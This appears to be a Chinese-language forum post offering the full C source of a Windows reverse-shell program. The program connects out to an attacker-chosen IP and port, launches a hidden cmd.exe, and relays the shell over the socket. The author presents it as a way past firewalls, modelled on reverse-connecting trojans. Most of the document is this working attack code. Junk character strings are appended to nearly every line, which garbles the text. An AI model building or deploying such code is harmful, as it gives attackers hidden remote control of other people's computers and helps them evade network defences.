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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 PO|gM8E1x?  
1DN  
/* ============================== jLw|F-v-l<  
Rebound port in Windows NT -U;=]o1  
By wind,2006/7 ;qcOcm%  
===============================*/ jHV) TBr  
#include -a'D~EGB^  
#include Lzx/9PPYn  
6QNZ/Ox:  
#pragma comment(lib,"wsock32.lib") q 2;CvoF  
.k%/JF91n  
void OutputShell(); 6LqF*$+$`  
SOCKET sClient; ']Z%6_WF  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; kPO+M~+n  
BHU=TK@GR  
void main(int argc,char **argv) '<O.J(N~4!  
{ Kp!A ay  
WSADATA stWsaData; UlPGB2B  
int nRet; V|/N-3M  
SOCKADDR_IN stSaiClient,stSaiServer; ?.c:k;j  
]@CXUa,>a  
if(argc != 3) mILCC} Kt  
{ f?(g5o*2  
printf("Useage:\n\rRebound DestIP DestPort\n"); N37CAbw0  
return; CX ; m8  
} MVEh<_  
^,J>=>,1\  
WSAStartup(MAKEWORD(2,2),&stWsaData); 474 oVdGx  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); (@bq@0g  
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stSaiClient.sin_family = AF_INET; 4~hP25q  
stSaiClient.sin_port = htons(0); TxTxyYd  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); TiJ \J{  
gb}ov* *  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) cb/$P!j7  
{ qV-1aaA  
printf("Bind Socket Failed!\n"); ?ea5k*#a  
return; Ml )<4@  
} ]}.|b6\  
^Of\l:q*  
stSaiServer.sin_family = AF_INET; lQ4$d{m`  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 3(:?Z-iKe  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); g+xcKfN{  
{J/+KK  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 7'ws: #pC  
{ OUN"'p%%  
printf("Connect Error!"); yvnvIy  
return; }|RL6p-/'  
} (aB:P03  
OutputShell(); l(}l([rdQ  
} K1o&(;l8G  
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void OutputShell() z$VVt ?K  
{ wp@6RJ  
char szBuff[1024]; =!/T4Oo  
SECURITY_ATTRIBUTES stSecurityAttributes; $MM[`^~  
OSVERSIONINFO stOsversionInfo; \@zoM:[sN  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; Z`n "}{  
STARTUPINFO stStartupInfo; ^}<]sjmk  
char *szShell; 51ILR9 Bc_  
PROCESS_INFORMATION stProcessInformation; w*u.z(:a`  
unsigned long lBytesRead; iL~(BnsF  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); #(Yd'qKo  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); %Siw>  
stSecurityAttributes.lpSecurityDescriptor = 0; d-gcXaA-8  
stSecurityAttributes.bInheritHandle = TRUE; SUL\|z`5  
?DY6V;&F@f  
'G`xD3 E3,  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); yz)Nco]  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0);  gA19f  
x$pz(Q&v  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); z*o2jz?t4  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ]puDqu5!  
stStartupInfo.wShowWindow = SW_HIDE; LwH+X:?i  
stStartupInfo.hStdInput = hReadPipe; "po;[ Ia2  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; \#gguq?[  
\t? ;p-+ta  
GetVersionEx(&stOsversionInfo); J?jxD/9Yb  
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switch(stOsversionInfo.dwPlatformId) -:Q"aeC5  
{ Wq<H sJd/  
case 1: y"H(F,(N  
szShell = "command.com"; %-|$7?~   
break; G+m[W  
default: V Y@`)  
szShell = "cmd.exe"; m=w #l>!  
break; .4y44: T  
} JYLAu4s6  
vpdT2/F  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); ,,?XGx  
 p.,`3"C1  
send(sClient,szMsg,77,0); .{(gku>g(  
while(1) :1~4X  
{ D8b9 T.[(  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); -)DxF<8B  
if(lBytesRead) 4OG 1_6K  
{ i\* b<V  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); %V(U]sbV  
send(sClient,szBuff,lBytesRead,0); K'[kl'  
} )W1[{?  
else vI(CX]o  
{ q%XjJ -s:  
lBytesRead=recv(sClient,szBuff,1024,0); @J6V ,  
if(lBytesRead<=0) break; C *7x7|z  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 9q2x}  
} Seq ^o=  
} z\K-KD{Ad  
WqHp23  
return; 1([?EfC  
}
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